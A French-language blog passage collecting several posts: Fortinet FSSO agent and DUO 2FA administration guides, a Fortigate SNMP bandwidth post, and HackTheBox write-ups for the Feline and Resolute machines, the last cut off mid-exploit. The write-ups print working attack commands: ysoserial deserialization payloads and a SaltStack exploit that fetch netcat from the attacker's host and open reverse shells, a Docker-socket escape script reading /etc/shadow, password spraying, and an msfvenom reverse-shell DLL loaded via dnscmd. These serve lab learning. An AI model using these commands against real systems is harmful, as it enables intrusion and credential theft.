Assurez d’avoir également la case « Use WMI to check user logoff » de cochée dans la section « Workstation Check ». L’agent collecteur interrogera régulièrement les PC afin de vérifier si l’utilisateur est toujours connecté ou non (un batch sera lancé toutes les 5 minutes, comme indiqué sur l’écran principal).

Sélectionner les DC à « monitorer »

  • Cliquez sur « Show Monitored DCs »
  • Puis sur « Select DC to Monitor »
  • Cochez la case « Polling Mode »
  • Puis la case « Check Windows Security Event Logs using WMI » (c’est là que l’on active concrètement le mode WMI)
  • Enfin, sélectionnez les DC que vous souhaitez interroger puis « OK »

Si tout fonctionne correctement, vous devriez de suite pouvoir visualiser et récupérer les premières connexions utilisateurs en cliquant sur « Show Logon Users » :

Dans le cas contraire, vérifiez à nouveau les permissions WMI sur les DC, les droits de l’utilisateur / compte de service et groupe AD.

Configurer les informations d’accès au répertoire

Nous allons configurer le mode « Advanced » pour l’accès au données qui permet plus de choses comme indiqué un peu plus haut lors de la phase d’installation.

A noter que dans ce mode, le nom des groupes sera au format LDAP (cn=group,ou=name,dc=domaine) et non Microsoft (domaine/groupe).

  • Cliquez sur « Set Directory Access Information »
  • Sélectionnez « Advanced » (doit l’être par défaut)
  • Puis cliquez sur « Advanced Setting… »
  • Cochez « Use secure connection (TLS) »
  • Puis renseignez l’un de vos DC en laissant les champs « User name » et « Password » vident puis « OK »

Assurez que les flux sont bien ouverts au passage entre l’agent collecteur et vos contrôleurs de domaine sur le port TCP 3269.

Configurer le(s) domaine(s) à sonder

Sélectionner maintenant le ou les domaines que vous voulez « monitorer ».

  • Cliquez sur « Select Domains To Monitor »
  • Puis cochez les domaines à sonder
  • Pour chacun des domaines, cliquez sur « Setting… »
  • Cochez « Use secure connection (TLS) »
  • Là renseignez à nouveau l’un de vos DC en laissant les champs « User name » et « Password » vident puis « OK » et « OK »

Là aussi, assurez que les flux sont bien ouverts au passage entre l’agent collecteur et vos contrôleurs de domaine sur le port TCP 636

Filtrage des groupes

Nous avons deux possibilités pour la configuration des groupes FSSO (basés sur ceux de l’AD) :

  • Soit depuis ce serveur directement pour les pousser ensuite vers le Fortigate
  • Soit les créer directement sur le Fortigate pour qu’ils soient visibles sur le serveur

J’utilise la seconde méthode, que nous verrons dans le prochain article.

Une fois les groupes configurés vous verrez ce message sur le serveur dans « Set Group Filters » :

Compte(s) utilisateur/de service à ignorer

Une dernière option permet d’exclure une liste de comptes à ne pas surveiller, comme par exemple notre compte de service « fsso_agent ».

Il suffit de cliquer sur « Set Ignore User List » puis d’ajouter les comptes, comme ici avec notre compte de service :

Une fois terminé, ne pas oublier d’appliquer les changements (Apply) et/ou de sauvegarder (Save&close).

Conclusion

Nous avons vu dans cette première partie comment configurer notre serveur avec notre agent FSSO afin de récupérer les activités des utilisateurs (logon/logoff) sur notre DC de manière fiable.

Dans un prochain article nous verrons comment configurer notre Fortigate :

  • Pour se connecter à ce serveur afin de récupérer ses données
  • La création des groupes FSSO (et/ou utilisateurs)
  • L’utilisation de ces groupes dans nos règles de filtrage
  • Et quelques commandes et astuces pour le débogage
07 Jan

Calculer la bande passante consommée des interfaces réseaux d’un Fortigate

Introduction

Je cherchais le moyen d’obtenir à intervalles réguliers la bande passante consommée (en entrée et sortie) de chacune de mes interfaces réseaux, notamment celles « virtuelles », à savoir des VPN (IPSec), sur mes firewalls.

Pour une architecture réseau en étoile (Hub and spoke en anglais) le plus simple est bien-sûr d’interroger l’équipement central qui s’interconnecte avec chacun des sites distants. Ce qui était mon cas.

L’objectif étant au final d’obtenir un fichier source avec toutes les valeurs me permettant ainsi d’alimenter un script pour ensuite générer une carte d’utilisation de bande passante (network weathermap en anglais) rafraîchie toutes les 5 secondes. Comme ci-dessous :

Script Bash

Explications

Vous trouverez plus bas le script Bash que j’ai utilisé pour récupérer les données via SNMP et les traiter. Comme les compteurs des interfaces réseaux s’incrémentent sans cesse, l’idée est de prendre les valeurs à l’instant T puis de les reprendre à l’instant T + 5 secondes.

Puis par un simple calcul on obtient la bande passante consommée en entrée et sortie. Enfin, en appelant régulièrement le script (crontab ou boucle), vous obtiendrez différentes valeurs qui pourraient alimenter d’autres scripts comme PHP Weathermap par exemple, que j’utilise.

Pensez à mettre les bons paramètres (variables) avant de lancer le script :

  • host = hostname/IPv4 de votre firewall
  • community = nom de la communauté SNMPv2

Bien-sûr, au préalable vous devez configurer SNMPv2 sur votre firewall (https://kb.fortinet.com/kb/documentLink.do?externalID=FD45755) et donner les droits en lecture (uniquement) au serveur qui l’interrogera.

J’utilise SNMPv2 dans mon cas car les données récupérées ne sont pas sensibles et il suffit de bien configurer les droits.

J’utilise la MIB standard (ISO/CCITT) pour interroger le firewall, ce qui est le cas avec beaucoup de fournisseurs/marques avec laquelle ils sont compatibles.

Par contre, il était important de prendre les compteurs 64 bits (ifHCInOctets/ifHCOutOctets) et non 32 bits (ifInOctets/ifOutOctets), au risque de voir le compteur repartir à zéro rapidement, surtout si vous avez de gros liens/débits.

En sortie vous aurez ce type d’affichage :

VPN-XXX-C-WS-3G 0 2
VPN-XXX-E-WS-3G 0 2
VPN-XXX-C-ES-OR 1637 1360
VPN-XXX-E-ES-OR 1391 370
VPN-XXX-C-ES-O3 0 6
VPN-XXX-E-ES-O3 0 2
VPN-XXX-C-OU-OR 2047 480
VPN-XXX-E-OU-OR 408 3164
VPN-XXX-C-OU-O3 14 434

Pour finir, vous aurez juste à retirer le nom de fichier « bandwidth.txt » de la ligne 62 pour le générer et le conserver sur disque pour l’intégrer avec un autre script si besoin.

Code source

Voici le script en question, suffisamment commenté je pense :

Sinon, vous pouvez le télécharger ci-dessous :

Conclusion

Voilà, j’espère que ce sera utile à certains d’entre vous. A noter que ce script Bash devrait pouvoir fonctionner tel quel avec d’autres équipements que les Fortigate.

Pour d’autres types de réseaux ou besoins, on pourrait très bien imaginer avoir une liste de firewall en entrée qui serait parcouru et ainsi chacun serait interrogé avec ce script en parallèle pour gagner du temps. Je ferai un article là dessus aussi je pense.

Dernière chose, pour ceux qui s’interrogent sur la mise en forme du code dans l’article, j’ai utilisé l’excellent site : https://carbon.now.sh/

03 Sep

HTB – Feline- Write-up

Préambule

Pour cette nouvelle machine virtuelle j’ai utilisé l’interface web Pwnbox du site HackTheBox qui est basée sur la distribution Parrot Security, elle-même basée sur Debian :

Cette fonctionnalité est uniquement accessible aux utilisateurs du plan « VIP ». Elle est très pratique et bien pensée : choix de la localisation du serveur, fonctionne avec un simple navigateur et/ou accès SSH, accès spectateur…etc

Seul hic : on à le droit à seulement 24H par mois… et cela file vite !!

Mais avec le nouveau plan VIP+, plus de limite !

J’ai également utilisé pour l’occasion l’un de mes scripts spécifiquement adapté pour celle-ci afin d’améliorer le temps de reconnaissance initiale :

https://github.com/choupit0/MassVulScan4HTB

Moins de 5 minutes pour installer le script et scanner les 131070 ports TCP+UDP et identifier les éventuelles vulnérabilités associées, auto-promotion 😉

Ce pas à pas sera « un peu » plus long et détaillé que les derniers.

Introduction

Cette fois on s’attaque à une machine virtuelle de niveau « Hard » mais qui n’est pas insurmontable. Elle permet, là encore, de s’attaquer à de récentes vulnérabilités découvertes, et permet d’aborder différents aspects côté réseau, système et applicatif. Très complète et intéressante dans le cheminement.

Voici les grandes phases et technologies abordées :

  1. Identification du CVE concernant Apache Tomcat
  2. Exploitation par désérialisation d’objets
  3. Identification d’un second CVE pour SaltStack (gestion de configuration)
  4. Exploitation par « authentication bypass » via redirection de port SSH
  5. Elévation des privilèges via un container Docker

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.205
  • Nom de la VM = feline.htb

On met à jour notre fichier /etc/hosts avec ces informations :

sudo vi /etc/hosts
127.0.1.1 htb-qdiohu4t2o.htb-cloud.com htb-qdiohu4t2o
127.0.0.1 localhost
10.10.10.205 feline.htb

Phase de reconnaissance

J’installe et je lance mon script MassVulScan4HTB.sh :

Seulement deux services ouverts : SSH et HTTP avec 9 potentielles failles identifiées pour le dernier :

Avant d’explorer les différentes failles à la recherche d’un RCE, voyons à quoi ressemble la page web. Nous avons deux sites dédiés à l’analyse de virus :

http://feline.htb:8080/
http://feline.htb:8080/service/

Phase d’énumération 1/3

Le champ email semble accepter n’importe quoi (email ou pas), par contre tous les formats de fichiers ne semblent pas supportés. Ici à gauche une image PNG bloquée et à droite un script Perl qui passe :

Nous allons regarder un peu plus en détails les requêtes avec Burp Suite. Il suffit de lancer l’application et de paramétrer Firefox pour pointer dessus.

Nous allons intercepter une requête qui fonctionne (fichier autorisé) et l’analyser (« Intercept On » puis « Action » -> « Send to Repeater ») :

Maintenant, que se passe-t-il si on supprime le nom du fichier par exemple (filename= » » puis « Send ») ? Réponse :

On récupère une erreur Java intéressante. En effet, on a le chemin complet où les fichiers sont téléversés : /opt/samples/uploads

Avec un fichier interdit (PNG), on obtient autre erreur Java et un autre chemin :

Chemin récupéré mais avec un « Permission denied », rien d’intéressant :

/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000066.tmp

Je note juste que si on essaye de renvoyer à nouveau le fichier on voit que le nom de fichier s’incrémente de 1 à chaque fois :

/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000067.tmp

Je ne trouve rien de probant à ce stade, et je ne trouve rien de plus avec wfuzz ou dirsearch au niveau des répertoires et fichiers. Pas d’injection type SQL non plus.

Je prends donc le temps de regarder les vulnérabilités identifiées plus tôt et l’une d’elle semble intéressante. Elle appropriée à la situation et à la version d’Apache Tomcat : https://vulners.com/cve/CVE-2020-9484

L’une des références citée concerne celle de l’auteur : http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html

Nous avons plus de détails sur son site qui confirme la présence d’un RCE : https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/

Globalement, si le serveur est configuré avec les modes « PersistentManager » et « FileStore« , les sessions permutées/inactives sont enregistrées sur disque. Dans ce cas, la faille est exploitable.

Pour vérifier si nous sommes concernés par cette vulnérabilité, nous avons besoin de 3 choses principales :

  1. Pouvoir générer un objet sérialisé :
  2. Pouvoir envoyer le fichier sur le serveur :
    • Nous l’avons avec le site /service
  3. Connaître l’emplacement des fichiers envoyés :
    • Nous le connaissons /opt/samples/uploads

C’est lors de la phase de désérialisation que le code malvaillant est executé même si nous obtenons une erreur HTTP 500 par la suite (pas de session correspondante).

Pour plus de détails sur la sérialisation/désérialisation d’objets et son exploitation, je vous conseille ce PDF (anglais) : https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf

Sinon, en gros, la sérialisation consiste à transformer des données informatiques en informations plus petites pour être transmises par le réseau. La désérialisation effectue la démarche inverse afin de retrouver les données initiales, à l’identique.

Phase d’exploitation 1/3 (Apache Tomcat)

Installer et utiliser ysoserial

Etapes à suivre pour l’installation de yoserial :

git clone https://github.com/frohoff/ysoserial
cd ysoserial/
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

On génère ensuite notre payload (objet sérialisé) comme ceci avec le payload le plus « commun », le numéro 2 (le 1 n’a pas fonctionné) et avec l’extension « .session » :

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/fakefile" > rce.session

Dans un shell je lance un serveur HTTP en écoute sur port 8888 :

python -m SimpleHTTPServer 8888

Pour appeler notre code nous devrons utiliser http://feline.htb et modifier le cookie « JSESSIONID » comme suit (comme indiqué dans l’article) sans l’extension :

JSESSIONID=../../../../../opt/samples/uploads/rce

Le reste en vidéo de démonstration :

Ca fonctionne ! On a bien une connexion sur notre instance depuis le serveur :

Reverse shell via Apache Tomcat

Maintenant que nous avons un PoC fonctionnel, nous allons pouvoir obtenir un shell inversé. Nous procéderons en trois étapes :

  1. Téléverser l’outil netcat sur le serveur
  2. Le rendre executable
  3. Lancer un shell inversé

Je procède ainsi car je n’ai pas réussi à obtenir un shell directement avec les commandes traditionnelles (https://gtfobins.github.io/#+reverse%20shell).

Mes trois payloads générés :

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/netcat -O /tmp/netcat" > step1.session
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "chmod +x /tmp/netcat" > step2.session
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "/tmp/netcat -e /bin/sh 10.10.14.50 1337" > step3.session

Pour netcat, j’utilise la version présente sur l’OS et je lance mon serveur HTTP :

which netcat
/usr/bin/netcat
cp /usr/bin/netcat .
python -m SimpleHTTPServer 8888

Dans un autre Terminal je lance un listener :

nc -nlvp 1337

On transfère nos 3 fichiers de la même manière que pour PoC et on obtient enfin un (premier) shell inversé depuis le serveur :

On élève notre simple shell inversé vers un shell interactif complet :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Et nous trouvons le flag utilisateur :

Phase d’énumération 2/3

Rapidement je regarde côté réseau ce que l’on a et je vois deux ports intéressants en écoute, TCP 4505 et 4506 :

netstat -laputen | grep -i listen

Une rapide recherche sur Internet nous indique qu’il s’agit d’un gestionnaire de configuration nommé SaltStack, comme Puppet.

On découvre également qu’il existe une faille de sécurité de type « authentication bypass », CVE-2020-11651 : https://www.immersivelabs.com/resources/blog/hackers-are-currently-attacking-vulnerable-saltstack-systems/

Ne sachant pas si cette version est vulnérable ou pas, je décide de tester le PoC indiqué dans l’article : https://github.com/kevthehermit/CVE-2020-11651

Phase d’exploitation 2/3 (SaltStack)

SSH reverse remote port forwarding

L’application n’est pas exposée sur tous ses interfaces réseaux, elle n’est accessible que localement, par la loopback.

Je décide de télécharger le PoC sur le serveur et de le tester… mais ce serait trop facile ! Python3.8 est bien présent mais il manque des packages… et bien-sûr aucun droit pour les installer.

Plutôt que de perdre mon temps à chercher un moyen d’installer ce qu’il manque, je prends le choix d’exposer ce port à travers une connexion SSH :

ssh htb-choupit0@10.10.14.50 -R 127.0.0.1:4506:127.0.0.1:4506 -N

Nous aurions pu également utiliser Metasploit pour cela mais c’était un peu plus contraigant à faire (mais plus securisé).

PoC pour CVE-2020-*****

Maintenant nous pouvons donc utiliser notre script Python ditectement depuis notre instance Pwnbox, on voit ici la connexion SSH établie et le nouveau port 4506 en écoute :

Malheureusement pour nous, cela ne fonctionne pas… erreur « UnboundLocalError: local variable ‘root_key’ referenced before assignment« .

git clone https://github.com/kevthehermit/CVE-2020-11651
cd CVE-2020-11651
python3 -m pip install pyzmq
python3.8 poc.py -k 127.0.0.1

Reverse shell via SaltStak

Je n’abandonne pas et après quelques recherches, je trouve un autre PoC qui lui fonctionne : https://github.com/jasperla/CVE-2020-11651-poc/

git clone https://github.com/jasperla/CVE-2020-11651-poc
cd CVE-2020-11651-poc
pip3 install salt
python3.8 exploit.py
[+] Checking if vulnerable to CVE-2020-11651YES

Cool ! Il ne reste plus qu’à lancer notre second Reverse Shell avec une seule ligne de commande + un listener dans un autre Terminal :

python3.8 exploit.py --master localhost --exec "wget http://10.10.14.50:8888/netcat -O /tmp/netcat; chmod +x /tmp/netcat; /tmp/netcat -e /bin/sh 10.10.14.50 1338"
nc -nlvp 1338

Phase d’énumération 3/3

Docker Inside

On découvre donc que nous sommes root… mais d’un container, c’est déjà ca ! En regardant les dernières commandes tapées dans le fichier « .bash_history« , on découvre cette ligne de commande :

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

Cela indique que la machine qui héberge ce container communique par le bias de ce socket avec ce dernier. On vérifie qu’il est bien actif, c’est bien le cas :

ls -l /var/run/docker.sock

C’est un vecteur d’attaque, car depuis notre container nous pouvons également accéder aux données de l’hôte…

Ces articles en parle bien :

https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html

http://carnal0wnage.attackresearch.com/2019/02/abusing-docker-api-socket.html

Nous pouvons déjà obtenir la liste des container présents sur le serveur, il semble y en avoir 2 :

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

Phase d’exploitation 3/3 (Docker)

Comme PoC nous allons donc tenter de créer un nouveau container afin d’accéder au fichier des mots de passe sur l’hôte en root. Voici les étapes nécessaires :

  1. Créer un fichier JSON pour le container
  2. Créer notre container avec ce fichier
  3. Démarrer notre container
  4. Créer un fichier JSON pour l’execution de lecture
  5. Lancer l’execution de la commande

Nous allons utiliser un script Bash (docker_exploit.sh) pour que cela soit plus simple, voici son contenu :

#!/bin/bash
#
# Nouveau container avec un montage du systeme de fichiers hote
#
echo -e '{"Image":"sandbox", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' > container.json
# Creation du container
new_container=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create | cut -d'"' -f4)
# On demarre le container
curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/${new_container}/start
sleep 2
#
# Lecture d'un fichier de l'hote
#
echo -e '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' > read.json
# Creation de l'exec
read_file=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat read.json)" http://localhost/containers/${new_container}/exec | cut -d'"' -f4)
# Affichage du resultat
curl -s -o - -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{}' http://localhost/exec/${read_file}/start
rm -rf container.json read.json

Il suffit ensuite de l’envoyer sur le serveur et l’executer :

python -m SimpleHTTPServer 8888 (instance Pwnbox)
cd /tmp
wget http://10.10.14.50:8888/docker_exploit.sh
chmod +x docker_exploit.sh
./docker_exploit.sh

Ca fonctionne !!!

Il ne reste plus qu’à modifier notre script pour récupérer le flag root :

Conclusion

Jusqu’à présent c’est ma VM favorite sous Linux, on y apprend beaucoup de choses. Elle est très complète : technologies variées tout comme les failles exploitées, on touche au système, réseau et applicatif.

C’est pour ces raisons que j’ai pris du plaisir et du temps pour détailler ce write-up, j’espère que vous aussi !

01 Sep

HTB – Astuces

Quelques informations/astuces glanées sur hackthebox.eu et forum.hackthebox.eu.

Badge pour le forum

Voici l’astuce pour mettre son badge en signature lorsque l’on commente sur le forum et surtout avec un lien vers le profil associé.

Pour une équipe :

[![Fr0Ggi3sOnTour](https://www.hackthebox.eu/badge/team/image/2959)](https://www.hackthebox.eu/home/teams/profile/2959)
On recrute ! 👽 We are hiring!

Pour un utilisateur :

[![choupit0](http://www.hackthebox.eu/badge/image/144352)](https://www.hackthebox.eu/home/users/profile/144352)

17 Août

Double authentification (2FA) avec un Fortigate via LDAP(S) : DUO côté usager (4/4)

Suite et fin

Je voulais finalement terminer cette série d’articles en évoquant la phase d’enrôlement avec les différentes méthodes et quelques petites astuces.

Commençons succinctement par le côté « administrateur » de DUO puis nous enchaînerons sur les étapes d’enrôlement.

Administration DUO

Envoyer l’email pour l’enregistrement

Une fois le nouvel usager crée chez DUO, l’administrateur va devoir envoyer un courriel à ce dernier (prérequis) afin qu’il puisse enregistrer son équipement « 2FA ». Il suffit de cliquer sur le lien en haut à droite « Send Enrollment Email » :

A noter que l’unique expéditeur de ces emails est : no-reply@duosecurity.com

Le destinatairedevra éventuellement s’assurer que rien n’est dans ces emails indésirables.

Exemple d’email que va recevoir la personne avec un lien (flouté ici) :

Les groupes

Je vous invite à utiliser les groupes également, surtout si vous avez ou comptez l’utiliser pour un grand nombres d’utilisateurs de votre compagnie ou consultants externes.

En effet, cela vous permettra d’identifier rapidement les usagers d’une même entreprise voire d’une même équipe. Et surtout, vous serez en mesure de désactiver l’accès d’un coup à un groupe d’usagers en cas d’incident de sécurité par exemple, sans bloquer tout le monde.

L’enrôlement

Application DUO

L’usager sera guidé durant ce processus. une fois qu’il aura cliqué sur le lien contenu dans le courriel, voici les différentes étapes :

Début de la configuration

Choisir « Mobile phone » si on veut utiliser l’application DUO et recevoir des notifications « push » :

Choix de l’équipement

A noter que niveau expérience utilisateur, l’utilisation d’une application (DUO App.) est préférable. L’application DUO supporte Android 7.0 et supérieur, iOS 11.0 et supérieur, BlackBerry 10, et enfin BBOS 4.5.0 et supérieur.

L’usager doit rentrer un numéro valide

Ensuite l’usager doit choisir le modèle d’appareil pour installer l’application :

Choix du modèle de smartphone

L’utilisateur devra aller chercher l’application dans le magasin de son appareil et l’installer. Une fois cela fait, il devra le confirmer :

Confirmer que l’application est installée

Pour finaliser l’enrôlement de son appareil, il devra scanner le QR code depuis son application (+) :

Scanner le QR code depuis l’application DUO

En dernier lieu il devra confirmer la méthode de son choix pour valider le second facteur :

Méthode de validation du second facteur

Et c’est fini :

Fin du processus d’enrôlement

Sans l’application DUO

Si utilisateur n’est pas en mesure d’utiliser un téléphone intelligent ni même de recevoir des SMS, il pourra toujours choisir l’option autre afin de valider le second facteur par un appel téléphonique :

Option pour recevoir des appels

Choisir l’option d’appel :

Appel cet appareil

Lorsqu’il recevra les appels, il aura juste à appuyer sur n’importe quel touche du clavier pour valider le second facteur.

Téléphone (fixe / de bureau) avec extension

L’administrateur a également la possibilité d’enregistrer un numéro de téléphone qui comporte une extension pour le compte d’un utilisateur (ou il peut le faire lui-même lors de la phase d’enrôlement).

Voici un exemple ci-dessous, sur la fiche de l’utilisateur il faut ajouter un téléphone puis afficher le champ extension :

Afficher le champ « extension »

On rentre les informations et on ajoute le téléphone :

Ajouter le téléphone

Il est important ensuite d’augmenter le délai d’attente lorsque l’extension est composé (sur « 0 » par défaut). Sinon, l’utilisateur risque de ne pas recevoir l’appel et/ou n’aura pas le temps de valider. Et veiller à bien choisir le type « Landline » (par défaut) :

Enregistrer un téléphone qui comporte une extension

Donc si c’est l’utilisateur qui rentre lui-même sa ligne fixe et son extension, l’administrateur devra allonger ce délai d’attente pour lui, non visible lors de la phase d’enrôlement.

Autres possibilités de validation du 2FA

Une fois que l’utilisateur a enrôlé son appareil et choisi son mode de validation, ce dernier aura la possibilité d’en utiliser d’autres dans le champ « Mot de passe / Password ».

Par exemple, il pourra demander à être appelé au lieu de recevoir une notification « push » si cette dernière ne fonctionne plus. Il suffit pour cela d’ajouter le mot « ,phone » après le mot de passe, comme ceci :

Choisir un autre mode de validation

De la même manière, il pourra demander à recevoir une notification « push », en ajoutant cette fois le mot « ,push » après le mot de passe :

Recevoir une notification

Conclusion

Voilà, c’est terminé, j’espère avoir pu éclairer certaines personnes sur le sujet. Pour ma part, globalement, DUO est plutôt pratique, que ce soit côté administrateur ou utilisateur.

La mise en place du serveur Proxy DUO n’était pas trop compliqué et c’est fiable au quotidien. La maintenance n’est pas difficile, par contre, toujours s’assurer d’avoir deux serveurs en redondance.

N’hésitez pas à posez vos questions en commentaires si besoin, je me ferai un plaisir de vous répondre.

23 Avr

HTB – Resolute – Write-up

Introduction

Une machine virtuelle sympathique pour améliorer ses connaissances durant les phases d’énumération sous Windows. La partie exploitation est également très intéressante et nous montre de nouvelles techniques.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.169
  • Nom de la VM = resolute.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.

Phase de reconnaissance

J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 resolute.htb --min-rate 100 -oN nmap-resolute-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Voici la totalité des 24 ports (TCP) ouverts :

53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-21 21:13:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
51658/tcp open unknown

Je ne fais pas de scan des ports UDP.

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine MEGABANK.

Pour ce type de serveur, je mets systématiquement deux fichiers à jour : /etc/hosts et /etc/resolv.conf + un nptdate avec le serveur cela peut être utile si on doit jouer avec Kerberos. Et on valide également que le port UDP 123 est aussi ouvert :

root@HTB:~/HTB/Resolute# grep -iE '(megabank|10\.10\.10\.169)' /etc/hosts
10.10.10.169 resolute.htb MEGABANK.LOCAL
root@HTB:~/HTB/Resolute# grep -iE '(megabank|10\.10\.10\.169)' /etc/resolv.conf
search MEGABANK.LOCAL
nameserver 10.10.10.169
root@HTB:~/HTB/Resolute# ntpdate resolute.htb
22 Apr 16:57:56 ntpdate[42105]: step time server 10.10.10.169 offset +616.300705 sec

Nous pouvons interroger le service MS-RPC de Windows à travers Samba/RPC et une Null session avec enum4linux, on récupère une liste de 27 utilisateurs :

abigail Name: (null) Desc: (null)
Administrator Name: (null) Desc: Built-in account for administering the computer/domain
angela Name: (null) Desc: (null)
annette Name: (null) Desc: (null)
annika Name: (null) Desc: (null)
claire Name: (null) Desc: (null)
claude Name: (null) Desc: (null)
DefaultAccount Name: (null) Desc: A user account managed by the system.
felicia Name: (null) Desc: (null)
fred Name: (null) Desc: (null)
Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
gustavo Name: (null) Desc: (null)
krbtgt Name: (null) Desc: Key Distribution Center Service Account
marcus Name: (null) Desc: (null)
marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
melanie Name: (null) Desc: (null)
naoki Name: (null) Desc: (null)
paulo Name: (null) Desc: (null)
per Name: (null) Desc: (null)
ryan Name: Ryan Bertrand Desc: (null)
sally Name: (null) Desc: (null)
simon Name: (null) Desc: (null)
steve Name: (null) Desc: (null)
stevie Name: (null) Desc: (null)
sunita Name: (null) Desc: (null)
ulf Name: (null) Desc: (null)
zach Name: (null) Desc: (null)

On découvre rapidement le user marko avec un mot de passe Welcome123! qui bien-sûr ne fonctionne pas. Ma stratégie de base est toujours tester les accès suivants pour chacun des comptes :

  • mot de passe = username/logoname
  • mot de passe = vide
  • mot de passe = Welcome123! (suite à notre découverte)

Je vais construire un fichier users.txt contenant la liste des comptes et utiliser Metasploit avec le module smb_login, en modifiant quelques options :

msfconsole
use auxiliary/scanner/smb/smb_login
set blank_passwords true
set rhosts resolute.htb
set smbdomain MEGABANK
set smbpass Welcome123!
set user_as_pass true
set user_file users.txt
run
Metasploit va être utile pour identifier les couples user/mot de passe valides

Un premier accès valide est identifié avec le compte de melanie :

Un accès valide

Phase d’exploitation 1/2

Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cela fonctionne et nous obtenons le fichier user.txt :

evil-winrm -i resolute.htb -u melanie -p Welcome123!
Fichier user.txt atteint

Phase d’énumération 2/2

Avec cet utilisateur j’ai utilisé plusieurs outils afin d’automatiser la tâche comme WindowsEnum, Powerless and kerbrute mais je ne trouve rien.

Par contre, on découvre la présence d’un autre répertoire utilisateur, celui d’un certain Ryan

Sur le forum HackTheBox on parle de fichiers cachés… je décide de suivre cette voie, cela me permet d’en apprendre un peu plus sur PowerShell.

La commande suivante va nous aider :

Get-ChildItem . -Force

Rapidement on trouve un répertoire intéressant :

Tiens, un répertoire qui n’est pas commun…

Et en cherchant un peu on tombe sur un fichier texte qui ressemble à un fichier de log :

Hum, un fichier de log…

Bingo ! Le fichier contient les accès d’un second utilisateur, notre Ryan justement :

Deuxième accès utilisateur

Nous nous connectons à nouveau avec l’outil Evil-WINRM et ce compte, et on peut voir un groupe local intéressant auquel il appartient, DnsAdmins :

whoami /all
Ryan appartient au groupe DnsAdmins

Une simple recherche sur Internet avec les mots clés privilege escalation windows dnsadmins et on tombe sur cet article très instructif. Tous les détails dans ce second article.

Il semble possible d’executer du code, en l’occurence une dll, avec les droits du compte SYSTEM grâce au service dns.exe. Ce qui ne semble pas représenter une faille de sécurité pour Microsoft, seulement une mauvaise gestion des droits.

On va tenter cette méthode d’exploitation.

Phase d’exploitation 2/2

Il faut d’abord générer notre charge utile avec msfvenom (un fichier *.dll) :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4444 --platform=windows -f dll > plugin.dll

Pour la suite j’utilise trois shell différents :

  • Un Shell pour un serveur SMB temporaire avec Impacket
  • Un Shell avec un listener pour obtenir un Reverse Shell avec Netcat
  • Un Shell pour injecter notre Payload et redémarrer le service dns

Voici la commande executée dans le troisième Shell pour injecter notre charge utile :

dnscmd.exe resolute /config /serverlevelplugindll \\10.10.14.19\SHARE\plugin.dll
Import réussi du fichier DLL

Et voici les trois fenêtres/Shell avec les différentes commandes executées, nous aboutissons au résultat voulu :

On lance le serveur SMB dans un shell :

cd /usr/share/doc/python3-impacket/examples/
